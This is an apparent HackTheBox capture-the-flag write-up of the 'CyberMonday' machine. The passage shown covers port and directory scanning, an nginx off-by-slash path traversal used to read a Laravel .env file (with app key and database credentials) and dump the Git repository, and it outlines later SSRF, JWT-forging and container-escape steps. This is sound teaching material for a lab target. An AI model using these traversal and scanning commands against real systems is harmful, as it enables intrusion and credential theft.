HTB: CyberMonday
CyberMonday is a crazy difficult box, most of it front-loaded before the user flag. I’ll start with a website, and abuse an off-by-slash nginx misconfiguration to read a .env file and the Git source repo. I’ll find a mass assignment vulnerability in the site allowing me to get admin access, which provides a new subdomain for a webhooks API. I’ll enumerate that API to find it uses JWTs and asymmetric crypto. I’ll abuse that to forge a token and get admin access to the API, where I can create webhooks. One of webhooks allows me to get the server to issue web requests, like an SSRF. I’ll abuse that, with a CRLF injection to interact with the Redis database that’s caching the Laravel session data. I’ll abuse that to get code execution in the web container. From there, I’ll find a Docker Registry container, and pull the API container image. Source code review shows additional API endpoints with an additional header required. I’ll abuse those to get file read on the API container, and leak the password of a user that works for SSH. To get to root, I’ll abuse a script designed to allow a user to run docker compose in a safe way. I’ll show a couple ways to do this, most of which center around giving the container privileges. In Beyond Root, I look at where the Python JWT library prevented me from forging a JWT, and edit it to allow me. I’ll also look at the off-by-slash vulnerability in the nginx config.
Box Info
Name | CyberMonday Play on HackTheBox |
---|---|
Release Date | 19 Aug 2023 |
Retire Date | 02 Dec 2023 |
OS | Linux |
Base Points | Hard [40] |
Rated Difficulty | |
Radar Graph | |
17:10:38 |
|
18:29:29 |
|
Creator |
Recon
nmap
nmap
finds two open TCP ports, SSH (22) and HTTP (80):
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.228
Starting Nmap 7.80 ( https://nmap.org ) at 2023-11-27 20:14 EST
Nmap scan report for 10.10.11.228
Host is up (0.094s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 7.22 seconds
oxdf@hacky$ nmap -p 22,80 -sCV 10.10.11.228
Starting Nmap 7.80 ( https://nmap.org ) at 2023-11-27 20:22 EST
Nmap scan report for 10.10.11.228
Host is up (0.092s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http nginx 1.25.1
|_http-server-header: nginx/1.25.1
|_http-title: Did not follow redirect to http://cybermonday.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.36 seconds
Based on the OpenSSH version, the host is likely running Debian 11 bullseye.
The webserver is redirecting to cybermonday.htb
. I’ll fuzz for subdomains using ffuf
, but it doesn’t find anything. I’ll add cybermonday.htb
to my /etc/hosts
file and rescan port 80, but nothing new.
cybermonday.htb - TCP 80
Site
The site is for an online store:
There are two links on the page. One goes to the products page (/products
):
Viewing individual products offers a Buy button, but it doesn’t do anything:
The login link presents a login form (/login
):
There’s a link to register (/signup
):
After logging in, there’s a “Home” link added to the menu bar (/home
):
None of the things have links, except for “View profile” (/home/profile
) which offers a chance to update my name, email, and password:
Tech Stack
The HTTP response headers show that the server is nginx, and that the site is PHP:
HTTP/1.1 200 OK
Server: nginx/1.25.1
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/8.1.20
Cache-Control: no-cache, private
Date: Mon, 27 Nov 2023 21:31:47 GMT
Set-Cookie: XSRF-TOKEN=eyJpdiI6InhyeGFUb0xIRkpxM1hueXovdWk1UlE9PSIsInZhbHVlIjoiNHpnYis4UCtPSkJkRklGbEpsT2xxT1F2MzR1clZWYng1Zy9adEJaK1gyajJkSWpndUZQY2pyRkpGWUlEK1V3b0grK3FIR2VVWTZxbWJrTUpnczNWb1U0UmRsdkUyNldzdURWSXBKZWxVQlYwK2JKelNjc0txYTRzaFJRRHFDUG0iLCJtYWMiOiIzNmU4ZWM1ZTkyYzMyMWUwYjQ1MGZkY2Q1MGMzNDg0YmQwMjBkMDMzNzY2N2U1NDRhMTczZjFhYTRlZTBiZTUwIiwidGFnIjoiIn0%3D; expires=Mon, 27 Nov 2023 23:31:47 GMT; Max-Age=7200; path=/; samesite=lax
Set-Cookie: cybermonday_session=eyJpdiI6Ild1dStIUGVVUEFWcm1YZ1BZYVBHNkE9PSIsInZhbHVlIjoiaVJlWEcyMndkbkpNSVlZRXdFWXZiaGJoNHF5a1hjbncxdFRtdm90RU1kNk9GTlpBWFhpcnpRWVRrK20rbDRuVHdkdnBIajZJQy9EZmxMUTFPV21HaTZUWXdmUkM5ZmpSekRLM0t2VFFINUxyT0hkSUk2OXByMXRnYmc1VjZacVUiLCJtYWMiOiI3ZjA2NmVhZjFlMzY2MDVmNmVlNTU3ZWQ0MWFlOTlkMTA3M2E3Mzg3MDg1YTgyMzY3ZDk5ZWUwYTA3YjIxYTE5IiwidGFnIjoiIn0%3D; expires=Mon, 27 Nov 2023 23:31:47 GMT; Max-Age=7200; path=/; httponly; samesite=lax
Content-Length: 12721
The format of the two cookies being set looks very much like Laravel. I’ve shown this several times before.
The main page will load as index.php
.
The 404 page is the default Laravel 404 page:
Directory Brute Force
I’ll run feroxbuster
against the site, and include -x php
since I know the site is PHP:
oxdf@hacky$ feroxbuster -u http://cybermonday.htb -x php
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.9.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://cybermonday.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.9.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
💲 Extensions │ [php]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 32l 137w 6603c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 239l 986w 12721c http://cybermonday.htb/
302 GET 12l 22w 358c http://cybermonday.htb/logout => http://cybermonday.htb/login
200 GET 121l 355w 5675c http://cybermonday.htb/login
301 GET 7l 11w 169c http://cybermonday.htb/assets => http://cybermonday.htb/assets/
404 GET 7l 11w 153c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 7l 11w 169c http://cybermonday.htb/assets/js => http://cybermonday.htb/assets/js/
301 GET 7l 11w 169c http://cybermonday.htb/assets/img => http://cybermonday.htb/assets/img/
301 GET 7l 11w 169c http://cybermonday.htb/assets/css => http://cybermonday.htb/assets/css/
301 GET 7l 11w 169c http://cybermonday.htb/assets/views => http://cybermonday.htb/assets/views/
301 GET 7l 11w 169c http://cybermonday.htb/assets/views/components => http://cybermonday.htb/assets/views/components/
301 GET 7l 11w 169c http://cybermonday.htb/assets/views/home => http://cybermonday.htb/assets/views/home/
301 GET 7l 11w 169c http://cybermonday.htb/assets/views/dashboard => http://cybermonday.htb/assets/views/dashboard/
🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_cybermonday_htb-1701139285.state ...
[##>-----------------] - 7m 35487/270000 52m found:11 errors:19165
[##>-----------------] - 7m 3331/30000 7/s http://cybermonday.htb/
[#>------------------] - 7m 2762/30000 6/s http://cybermonday.htb/assets/
[#>------------------] - 6m 2462/30000 5/s http://cybermonday.htb/assets/js/
[#>------------------] - 6m 2462/30000 5/s http://cybermonday.htb/assets/img/
[#>------------------] - 6m 2462/30000 5/s http://cybermonday.htb/assets/css/
[#>------------------] - 5m 1912/30000 5/s http://cybermonday.htb/assets/views/
[#>------------------] - 4m 1612/30000 5/s http://cybermonday.htb/assets/views/components/
[#>------------------] - 4m 1512/30000 5/s http://cybermonday.htb/assets/views/home/
[>-------------------] - 2m 712/30000 4/s http://cybermonday.htb/assets/views/dashboard/
I’ll kill it after several minutes because it is just grindingly slow.
Find Webhook Subdomain
Access Source
Off-By-Slash Background
nginx has a common misconfiguration known as “off-by-slash”. I’ve run into this before in Pikaboo and Seal. It is common with nginx for a site to want to use an alias to change how certain files are accessed. This configuration is really common with static assets.
For example, something like this:
location /static/ {
alias /var/www/site/static/
}
When someone visits /static/main.js
, the webserver returns /var/www/site/static/main.js
.
The issue comes if the configuration leaves off the trailing /
in the top line:
location /static {
alias /var/www/site/static/
}
The case of /static/main.js
still works, returning /var/www/site/static//main.js
. Because of how Linux handles double slashes in file system paths, this isn’t an issue. But, if I instead visit /static../flag.txt
, then nginx rewrites that as /var/www/site/static/../flag.txt
, allowing me to read out of the parent directory!
Testing for Off-By-Slash
The feroxbuster
above shows a /assets
directory. To test for off-by-slash, I’ll try to visit /assets../
. If the server is configured properly, that would miss the re-write entirely, and return a 404. But if it returns some other status code, that indicates the directory traversal worked.
It returns 403:
.env
Laravel stores all it’s sensitive information in a .env
file at the project root. I’ll download that successfully:
oxdf@hacky$ curl http://cybermonday.htb/assets../.env
APP_NAME=CyberMonday
APP_ENV=local
APP_KEY=base64:EX3zUxJkzEAY2xM4pbOfYMJus+bjx6V25Wnas+rFMzA=
APP_DEBUG=true
APP_URL=http://cybermonday.htb
LOG_CHANNEL=stack
LOG_DEPRECATIONS_CHANNEL=null
LOG_LEVEL=debug
DB_CONNECTION=mysql
DB_HOST=db
DB_PORT=3306
DB_DATABASE=cybermonday
DB_USERNAME=root
DB_PASSWORD=root
BROADCAST_DRIVER=log
CACHE_DRIVER=file
FILESYSTEM_DISK=local
QUEUE_CONNECTION=sync
SESSION_DRIVER=redis
SESSION_LIFETIME=120
MEMCACHED_HOST=127.0.0.1
REDIS_HOST=redis
REDIS_PASSWORD=
REDIS_PORT=6379
REDIS_PREFIX=laravel_session:
CACHE_PREFIX=
MAIL_MAILER=smtp
MAIL_HOST=mailhog
MAIL_PORT=1025
MAIL_USERNAME=null
MAIL_PASSWORD=null
MAIL_ENCRYPTION=null
MAIL_FROM_ADDRESS="hello@example.com"
MAIL_FROM_NAME="${APP_NAME}"
AWS_ACCESS_KEY_ID=
AWS_SECRET_ACCESS_KEY=
AWS_DEFAULT_REGION=us-east-1
AWS_BUCKET=
AWS_USE_PATH_STYLE_ENDPOINT=false
PUSHER_APP_ID=
PUSHER_APP_KEY=
PUSHER_APP_SECRET=
PUSHER_APP_CLUSTER=mt1
MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}"
MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}"
CHANGELOG_PATH="/mnt/changelog.txt"
REDIS_BLACKLIST=flushall,flushdb
The information here is very subtle, but there is some:
- The
APP_KEY
will be useful if I get an opportunity for a deserialization attack. - There’s creds to the MySQL database as well.
- There’s a Redis configuration, which based on the
REDIS_PREFIX
seems to be caching the session cookies. - Two Redis commands are blocked from the web app,
flushall
andflushdb
. - Each of the database configurations have a different hostname,
db
andredis
. This implies there’s likely containers running on CyberMonday. - The second to last item is
CHANGELOG_PATH="/mnt/changelog.txt"
./mnt
is an interesting place to have something stored, as it implies another drive. If this is in a container, perhaps it’s from the host.
Fuzz
I’ll use ffuf
to brute force other files in that root directory:
oxdf@hacky$ ffuf -u http://cybermonday.htb/assets../FUZZ -w /opt/SecLists/Discovery/Web-Content/common.txt -mc all -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://cybermonday.htb/assets../FUZZ
:: Wordlist : FUZZ: /opt/SecLists/Discovery/Web-Content/common.txt
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
________________________________________________
.git/HEAD [Status: 200, Size: 23, Words: 2, Lines: 2, Duration: 94ms]
.git/config [Status: 200, Size: 92, Words: 9, Lines: 6, Duration: 95ms]
.git [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 95ms]
.gitattributes [Status: 200, Size: 152, Words: 9, Lines: 11, Duration: 95ms]
.gitignore [Status: 200, Size: 179, Words: 1, Lines: 15, Duration: 96ms]
.git/index [Status: 200, Size: 12277, Words: 75, Lines: 76, Duration: 94ms]
admin.php [Status: 404, Size: 6603, Words: 432, Lines: 33, Duration: 257ms]
app [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 92ms]
config [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 92ms]
database [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 92ms]
index2.php [Status: 404, Size: 6603, Words: 432, Lines: 33, Duration: 207ms]
index.php [Status: 404, Size: 6603, Words: 432, Lines: 33, Duration: 321ms]
info.php [Status: 404, Size: 6603, Words: 432, Lines: 33, Duration: 258ms]
index3.php [Status: 404, Size: 6603, Words: 432, Lines: 33, Duration: 344ms]
infos.php [Status: 404, Size: 6603, Words: 432, Lines: 33, Duration: 358ms]
lang [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 91ms]
phpinfos.php [Status: 404, Size: 6603, Words: 432, Lines: 33, Duration: 208ms]
phpinfo.php [Status: 404, Size: 6603, Words: 432, Lines: 33, Duration: 283ms]
public [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 91ms]
resources [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 92ms]
routes [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 92ms]
storage [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 92ms]
tests [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 91ms]
vendor [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 93ms]
xmlrpc.php [Status: 404, Size: 6603, Words: 432, Lines: 33, Duration: 240ms]
:: Progress: [4713/4713] :: Job [1/1] :: 396 req/sec :: Duration: [0:00:11] :: Errors: 0 ::
The most interesting is the .git
directory, as that will show most of the rest of the files.
Get Git Repo
I’ll use git-dumper to pull the .git
repo from the webserver:
oxdf@hacky$ git-dumper http://cybermonday.htb/assets../ git/
[-] Testing http://cybermonday.htb/assets../.git/HEAD [200]
[-] Testing http://cybermonday.htb/assets../.git/ [403]
[-] Fetching common files
[-] Fetching http://cybermonday.htb/assets../.git/description [200]
[-] Fetching http://cybermonday.htb/assets../.git/hooks/post-commit.sample [404]
[-] http://cybermonday.htb/assets../.git/hooks/post-commit.sample responded with status code 404
[-] Fetching http://cybermonday.htb/assets../.git/COMMIT_EDITMSG [200]
[-] Fetching http://cybermonday.htb/assets../.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://cybermonday.htb/assets../.gitignore [200]
[-] Fetching http://cybermonday.htb/assets../.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://cybermonday.htb/assets../.git/hooks/post-receive.sample [404]
[-] http://cybermonday.htb/assets../.git/hooks/post-receive.sample responded with status code 404
[-] Fetching http://cybermonday.htb/assets../.git/hooks/post-update.sample [200]
[-] Fetching http://cybermonday.htb/assets../.git/hooks/pre-commit.sample [200]
[-] Fetching http://cybermonday.htb/assets../.git/hooks/commit-msg.sample [200]
[-] Fetching http://cybermonday.htb/assets../.git/hooks/pre-receive.sample [200]
[-] Fetching http://cybermonday.htb/assets../.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching http://cybermonday.htb/assets../.git/hooks/update.sample [200]
[-] Fetching http://cybermonday.htb/assets../.git/index [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/info/packs [404]
[-] http://cybermonday.htb/assets../.git/objects/info/packs responded with status code 404
[-] Fetching http://cybermonday.htb/assets../.git/info/exclude [200]
[-] Fetching http://cybermonday.htb/assets../.git/hooks/pre-push.sample [200]
[-] Fetching http://cybermonday.htb/assets../.git/hooks/pre-rebase.sample [200]
[-] Finding refs/
[-] Fetching http://cybermonday.htb/assets../.git/FETCH_HEAD [404]
[-] http://cybermonday.htb/assets../.git/FETCH_HEAD responded with status code 404
[-] Fetching http://cybermonday.htb/assets../.git/HEAD [200]
[-] Fetching http://cybermonday.htb/assets../.git/ORIG_HEAD [404]
[-] http://cybermonday.htb/assets../.git/ORIG_HEAD responded with status code 404
[-] Fetching http://cybermonday.htb/assets../.git/config [200]
[-] Fetching http://cybermonday.htb/assets../.git/logs/HEAD [200]
[-] Fetching http://cybermonday.htb/assets../.git/info/refs [404]
[-] http://cybermonday.htb/assets../.git/info/refs responded with status code 404
[-] Fetching http://cybermonday.htb/assets../.git/logs/refs/heads/master [200]
[-] Fetching http://cybermonday.htb/assets../.git/logs/refs/remotes/origin/HEAD [404]
[-] http://cybermonday.htb/assets../.git/logs/refs/remotes/origin/HEAD responded with status code 404
[-] Fetching http://cybermonday.htb/assets../.git/logs/refs/stash [404]
[-] http://cybermonday.htb/assets../.git/logs/refs/stash responded with status code 404
[-] Fetching http://cybermonday.htb/assets../.git/logs/refs/remotes/origin/master [404]
[-] http://cybermonday.htb/assets../.git/logs/refs/remotes/origin/master responded with status code 404
[-] Fetching http://cybermonday.htb/assets../.git/packed-refs [404]
[-] http://cybermonday.htb/assets../.git/packed-refs responded with status code 404
[-] Fetching http://cybermonday.htb/assets../.git/refs/remotes/origin/HEAD [404]
[-] http://cybermonday.htb/assets../.git/refs/remotes/origin/HEAD responded with status code 404
[-] Fetching http://cybermonday.htb/assets../.git/refs/heads/master [200]
[-] Fetching http://cybermonday.htb/assets../.git/refs/remotes/origin/master [404]
[-] http://cybermonday.htb/assets../.git/refs/remotes/origin/master responded with status code 404
[-] Fetching http://cybermonday.htb/assets../.git/refs/stash [404]
[-] http://cybermonday.htb/assets../.git/refs/stash responded with status code 404
[-] Fetching http://cybermonday.htb/assets../.git/refs/wip/wtree/refs/heads/master [404]
[-] http://cybermonday.htb/assets../.git/refs/wip/wtree/refs/heads/master responded with status code 404
[-] Fetching http://cybermonday.htb/assets../.git/refs/wip/index/refs/heads/master [404]
[-] http://cybermonday.htb/assets../.git/refs/wip/index/refs/heads/master responded with status code 404
[-] Finding packs
[-] Finding objects
[-] Fetching objects
[-] Fetching http://cybermonday.htb/assets../.git/objects/1d/69f3a2890599c4f51f93e1906f44d64f5eb928 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/8f/ed97c014194eee5a0d02fbf61d93b17162402a [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/67/fcbbd6c89c6deaa0ffc3bec50d66a36406718a [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/65/98e2c0607332658ab9d429e86b2da1130f2326 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/40/c55f65c25644d4f09d3c734b219a2aa736b134 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/f4/39e6a6a358e6effbc092f837e88311ce3e6712 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/eb/6fa48c25d93f7bf753ba612cd2c7efecea5f4b [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/03/7e17df03b0598d7bbd27ed333312e8e337fb1b [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/72/4b5ace57ad1b9a16bd3b579c665e9d26ffb0be [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/b6/10c22de02a2611915648294317192109b07aa8 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/ea/87f2e57d00c8b5176c144e2d6c58e43f0eace8 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/0a/ce530e8d25451c7caf81ebdecac2cca9a77d83 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/23/45a56b5a6927a286e99ff80efc963ea3422e0c [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/47/3deba1cfc7d8eb1624b0a3f677b8b7f7837da6 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/fc/87b2971c5cb8fd6b25032d093d71513d06d07a [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/e9/d9dbdbe8ad384c1ea73b5f06bf9b9daa18007d [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/91/a63d8dd88b90cc6cedd501364440527c7bca9a [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/ee/8ca5bcd8f77d219f29529a9163587235c545d5 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/f2/c31ba3685cf854c57fa5bb1565f86dc46630c6 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/e9/96d67d71fbda2243b3ca9b41603a3215eab1b7 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/93/6d9ad1901c231d7f5359dbd5ecdb2b3345675e [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/ef/76a7ed6aece96a22282683c9832f658d41dad7 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/69/22577695e66ffdb3803e559490798898341abc [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/79/f63b44fdcb02187831898cd3732301fa3b7488 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/51/0d9961f10a033fa6a602129eb0e24ebe32e146 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/ab/0a1c2c7005cd000efabbcc3919dbc78e4b0f5d [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/17/191986b47f67e56c7e34e306ffe1f236501fb6 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/5a/0039662c1d3823d77d2a0bff5088f68a8ce54a [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/0a/8a4d32f60dbb9941b88ed67b521f5cab4eac36 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/7d/5e9e15b9429f0f49c4d4e00e55d820260c5179 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/0a/abca19f99f35ce39fc788f7070e2b9bc0d3108 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/86/7695bdcff312bfa221d583e2b3223aab2426dd [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/3e/c37a22439b3c9be8e85e4cca5e5666cd0cbd53 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/3a/ec5e27e5db801fa9e321c0a97acbb49e10908f [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/e0/5f4c9a1b27a35c20ac897b44dfb7a9238ff9b7 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/e7/3b8366158995ef7dd236f7119db0641931b358 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/25/ea5a819352e0fa8bacc367dd0cb39b71292c4f [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/8f/f3c9029c202012a5a0a3cff159d47cb4f3beab [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/05/c4471f2b53fc17d3cac9d3d252755a35479f7c [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/ba/ba3681999751b0d1d2139aa2817dc730608f0e [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/6b/0afd0b51ad8dacac31ce7e316398ec4c3e4b82 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/67/a3329b183e042b14516122b5d470bc337a5a90 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/78/ccc21f46a8df7435c5514691eb821a04b28aae [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/9e/86521722b083582f0f100e7b4d3a63bcc1bdfc [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/4c/573f4f204dbc36ab70a67606f366646a91344e [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/f1/71ecacc26252f4ba333eb804883e6f01e376aa [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/a8/73d608f3ae94f0bd8243a9573d627660c48bdc [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/71/86414c65794159f1a16a052921c44130463b4e [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/39/5c518bc47b94752d00b8dc7aeb7d241633e7cf [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/52/9cfdc9916c1bd990016e2d8789895873908548 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/c8/e7f76ffb52fc942e3de0a9dcc5261e051d76bf [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/bc/67a663bb443bbace06a0a47247273172f9a8e6 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/bb/9945c3b6ed4d3d4c9afde3093f51d3ab4c3ad7 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/d0/04bbfe4a971a42548db1c28022ad83a5fe7bed [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/9e/b7bd2831e242775751b2c54dcc52fe92dae34a [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/23/b61d24286d5e2ad9b01ccc2cef12511a0d835d [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/46/4c26155d71f0317cf3113d1d18dab569a401f0 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/74/cbd9a9eaaaf10a0a748f707729e62c8ce4b05c [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/51/b351b0b3527e399cbbeb9d1361af9ba03fbb9e [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/d2/5e46f9de6d52e2c5682604989a1bee56af30d7 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/16/71c9b9d94ae80b2d39c6b6a64d154b0ac6cb65 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/d4/8141187786931ec2cf8645e384be7878c7dc53 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/f4/21db2c26bd69264849c992e70e529fde0704ea [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/34/28efe948369749e99dba20560cc28211e069f1 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/53/4395a369bf31a7cc4da747887882588bed258f [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/08/ef22210ae6291c9a7c25136b050379fc968124 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/2a/22dc1206aefa36f8f32a6839219094d7acd0c1 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/b5/a448dc774d545609f3ee8a166a4eeef01f33c9 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/5d/451e1fae88c81c097aa55de6ff039a3cc0a1c3 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/a0/a2a8a34a6221e4dceb24a759ed14e911f74c57 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/d8/c6cee7c19c410449b5b9458bde053ae8f5bda0 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/ab/8b2cf77bbfa9c44bc228e2b71c2fed039d8e43 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/7a/9aecdf303df17e84c167d05c5d6cdd66981d23 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/c8/3d34aaaf8706bd525ca4dc35c0348332c65774 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/8a/39e6daa63dd3a4c07693f728ff136c05a3ed6e [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/d8/bc1d29f0ca5533beb6106f170b14fce854269d [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/5a/a1dbb78815158ce20421d5099ede9b965e0a26 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/22/b8a18d325814f221fb0481fa7ab320b612d601 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/bc/d3be4c28aa78fdc11f52b699718fd14fa3fda9 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/6c/430293cc349a751385d7f0863c64bf5e0a045d [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/9b/b1bd7c48ab8b42c23bb04b3b2c610acad26c97 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/12/396722a79274d3caa3afff8b0fb2477d905957 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/00/00000000000000000000000000000000000000 [404]
[-] http://cybermonday.htb/assets../.git/objects/00/00000000000000000000000000000000000000 responded with status code 404
[-] Fetching http://cybermonday.htb/assets../.git/objects/01/e4a6cda9eb380973b23a40d562bca8a3a198b4 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/17/eda1fa63d2bdeefffc7f2464990bf333d54906 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/0d/89369b949acd2a875803a672e48b3169a74339 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/9b/19b93c9f13d72749cc3bac760a28325116f3f1 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/29/32d4a69d6554cec4dea94e3194351710bd659e [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/a2/813a06489f33806916684e1b8bbf2795aba5eb [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/fd/235f8c5d00c8c9925db3a06aa197d172279ec3 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/70/4089a7fe757c137d99241b758c912d8391e19d [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/c1/c48a060cf65c15925509e53589835c3bf451d2 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/54/7152f6a933b1c1f409283d7bdfe1ba556d4069 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/e5/c5fef7a07c827e882cbf83ae5403c7e911cd3c [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/e4/0faa0b1f8931c144b8ff7fdefa17583d7681f8 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/e4/6045ac8b2c25fb9a5779dd86e27d7daac8d08e [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/8f/4803c05638697d84ea28d40693324ec70f7990 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/33/bb29546eba5501bb91ab41199cce5c86ffcdf5 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/88/cadcaaf281f473a7d03d757be46a6d1d307eaf [200]
